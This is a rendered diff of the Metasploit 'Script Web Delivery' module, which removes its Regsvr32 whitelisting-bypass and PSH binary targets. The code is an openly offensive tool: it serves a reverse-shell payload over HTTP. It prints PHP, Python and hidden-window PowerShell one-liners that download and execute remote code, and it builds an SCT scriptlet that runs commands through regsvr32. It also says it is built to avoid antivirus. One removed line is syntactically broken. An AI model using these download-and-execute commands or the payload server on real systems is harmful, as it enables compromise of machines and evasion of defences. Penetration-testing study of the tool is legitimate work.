8
8
class MetasploitModule < Msf ::Exploit ::Remote
9
9
Rank = ManualRanking
10
10
11
- include Msf ::Exploit ::EXE
12
11
include Msf ::Exploit ::Powershell
13
12
include Msf ::Exploit ::Remote ::HttpServer
14
13
15
14
def initialize ( info = { } )
16
15
super ( update_info ( info ,
17
16
'Name' => 'Script Web Delivery' ,
18
17
'Description' => %q(
19
- This module quickly fires up a web server that serves a payload.
20
- The provided command which will allow for a payload to download and execute.
21
- It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
22
- for bypassing application whitelisting. The main purpose of this module is to quickly establish
23
- a session on a target machine when the attacker has to manually type in the command:
24
- e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
25
- This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
26
- escalations supplied by Meterpreter.
27
-
28
- When using either of the PSH targets, ensure the payload architecture matches the target computer
29
- or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
30
-
31
- Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
32
- The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
33
- PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
34
- can occur on the same port.
35
-
36
- "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
18
+ This module quickly fires up a web server that serves a payload.
19
+ The provided command will start the specified scripting language interpreter and then download and execute the
20
+ payload. The main purpose of this module is to quickly establish a session on a target
21
+ machine when the attacker has to manually type in the command himself, e.g. Command Injection,
22
+ RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
23
+ write to disk so it is less likely to trigger AV solutions and will allow privilege
24
+ escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
25
+ payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
26
+ x86 payloads on x64 machines.
37
27
) ,
38
28
'License' => MSF_LICENSE ,
39
29
'Author' =>
40
30
[
41
31
'Andrew Smith "jakx" <[email protected] >' ,
42
32
'Ben Campbell' ,
43
- 'Chris Campbell' , # @obscuresec - Inspiration n.b. no relation!
44
- 'Casey Smith' , # AppLocker bypass research and vulnerability discovery (@subTee)
45
- 'Trenton Ivey' , # AppLocker MSF Module (kn0)
46
- 'g0tmi1k' , # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
33
+ 'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
47
34
] ,
48
35
'DefaultOptions' =>
49
36
{
50
37
'Payload' => 'python/meterpreter/reverse_tcp'
51
38
} ,
52
39
'References' =>
53
40
[
54
- [ 'URL' , 'https ://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
55
- [ 'URL' , 'https ://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
41
+ [ 'URL' , 'http ://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html' ] ,
42
+ [ 'URL' , 'http ://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ] ,
56
43
[ 'URL' , 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/' ] ,
57
- [ 'URL' , 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ] ,
58
- [ 'URL' , 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html' ] ,
44
+ [ 'URL' , 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html' ]
59
45
] ,
60
46
'Platform' => %w( python php win ) ,
61
47
'Targets' =>
@@ -71,117 +57,45 @@ def initialize(info = {})
71
57
[ 'PSH' , {
72
58
'Platform' => 'win' ,
73
59
'Arch' => [ ARCH_X86 , ARCH_X64 ]
74
- } ] ,
75
- [ 'Regsvr32' , {
76
- 'Platform' => 'win' ,
77
- 'Arch' => [ ARCH_X86 , ARCH_X64 ]
78
- } ] ,
79
- [ 'PSH (Binary)' , {
80
- 'Platform' => 'win' ,
81
- 'Arch' => [ ARCH_X86 , ARCH_X64 ]
82
60
} ]
83
61
] ,
84
62
'DefaultTarget' => 0 ,
85
63
'DisclosureDate' => 'Jul 19 2013'
86
64
) )
87
-
88
- register_advanced_options (
89
- [
90
- OptBool . new ( 'PSH-Proxy' , [ true , 'PSH - Use the system proxy' , true ] ) ,
91
- OptString . new ( 'PSHBinary-PATH' , [ false , 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)' , '' ] ) ,
92
- OptString . new ( 'PSHBinary-FILENAME' , [ false , 'PSH (Binary) - The filename to use (Will be random if left blank)' , '' ] ) ,
93
- ] , self . class
94
- )
95
- end
96
-
97
-
98
- def primer
99
- php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{ get_uri } '));")
100
- python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{ get_uri } ');exec(r.read());")
101
- regsvr = %Q(regsvr32 /s /n /u /i:#{ get_uri } .sct scrobj.dll)
102
-
103
- print_status ( "Run the following command on the target machine:" )
104
- case target . name
105
- when 'PHP'
106
- print_line ( "#{ php } " )
107
- when 'Python'
108
- print_line ( "#{ python } " )
109
- when 'PSH'
110
- psh = gen_psh ( "#{ get_uri } " , "string" )
111
- print_line ( "#{ psh } " )
112
- when 'Regsvr32'
113
- print_line ( "#{ regsvr } " )
114
- when 'PSH (Binary)'
115
- psh = gen_psh ( "#{ get_uri } " , "download" )
116
- print_line ( "#{ psh } " )
117
- end
118
65
end
119
66
120
-
121
67
def on_request_uri ( cli , _request )
122
- if _request . raw_uri =~ /\. sct$/
123
- psh = gen_psh ( "#{ get_uri } " , "string" )
124
- data = gen_sct_file ( psh )
125
- elsif target . name . include? 'PSH (Binary)'
126
- data = generate_payload_exe
127
- elsif target . name . include? 'PSH' or target . name . include? 'Regsvr32'
68
+ print_status ( 'Delivering Payload' )
69
+ if target . name . include? 'PSH'
128
70
data = cmd_psh_payload ( payload . encoded ,
129
71
payload_instance . arch . first ,
130
72
remove_comspec : true ,
131
73
exec_in_place : true
132
74
)
133
75
else
134
- data = %Q(#{ payload . encoded } )
135
- end
136
-
137
- if _request . raw_uri =~ /\. sct$/
138
- print_status ( "Handling .sct Request" )
139
- send_response ( cli , data , 'Content-Type' => 'text/plain' )
140
- else
141
- print_status ( "Delivering Payload" )
142
- send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
76
+ data = %Q(#{ payload . encoded } )
143
77
end
78
+ send_response ( cli , data , 'Content-Type' => 'application/octet-stream' )
144
79
end
145
80
146
-
147
- def gen_psh ( url , *method )
81
+ def primer
82
+ url = get_uri
83
+ print_status ( 'Run the following command on the target machine:' )
84
+ case target . name
85
+ when 'PHP'
86
+ print_line ( "php -d allow_url_fopen=true -r \" eval(file_get_contents('#{ url } '));\" " )
87
+ when 'Python'
88
+ print_line ( 'Python:' )
89
+ print_line ( "python -c \" import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{ url } ');exec(r.read());\" " )
90
+ when 'PSH'
148
91
ignore_cert = Rex ::Powershell ::PshMethods . ignore_ssl_certificate if ssl
149
-
150
- if method . include? 'string'
151
- download_string = datastore [ 'PSH-Proxy' ] ? ( Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url ) ) : ( Rex ::Powershell ::PshMethods . download_and_exec_string ( url ) )
152
- else
153
- # Random filename to use, if there isn't anything set
154
- random = "#{ rand_text_alphanumeric 8 } .exe"
155
-
156
- # Set filename (Use random filename if empty)
157
- filename = datastore [ 'BinaryEXE-FILENAME' ] . blank? ? random : datastore [ 'BinaryEXE-FILENAME' ]
158
-
159
- # Set path (Use %TEMP% if empty)
160
- path = datastore [ 'BinaryEXE-PATH' ] . blank? ? "$env:temp" : %Q('#{ datastore [ 'BinaryEXE-PATH' ] } ')
161
-
162
- # Join Path and Filename
163
- file = %Q(echo (#{ path } +'\\ #{ filename } '))
164
-
165
- # Generate download PowerShell command
166
- download_string = Rex ::Powershell ::PshMethods . download_run ( url , file } )
167
- end
168
-
92
+ download_string = Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url )
169
93
download_and_run = "#{ ignore_cert } #{ download_string } "
170
-
171
- # Generate main PowerShell command
172
- return generate_psh_command_line ( noprofile : true ,
173
- windowstyle : 'hidden' ,
174
- command : download_and_run
175
- )
176
- end
177
-
178
-
179
- def rand_class_id
180
- "#{ Rex ::Text . rand_text_hex 8 } -#{ Rex ::Text . rand_text_hex 4 } -#{ Rex ::Text . rand_text_hex 4 } -#{ Rex ::Text . rand_text_hex 4 } -#{ Rex ::Text . rand_text_hex 12 } "
181
- end
182
-
183
-
184
- def gen_sct_file ( command )
185
- %{<?XML version="1.0"?><scriptlet><registration progid="#{ rand_text_alphanumeric 8 } " classid="{#{ rand_class_id } }"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{ command } ",0);]]></script></registration></scriptlet>}
94
+ print_line generate_psh_command_line (
95
+ noprofile : true ,
96
+ windowstyle : 'hidden' ,
97
+ command : download_and_run
98
+ )
99
+ end
186
100
end
187
101
end
0 commit comments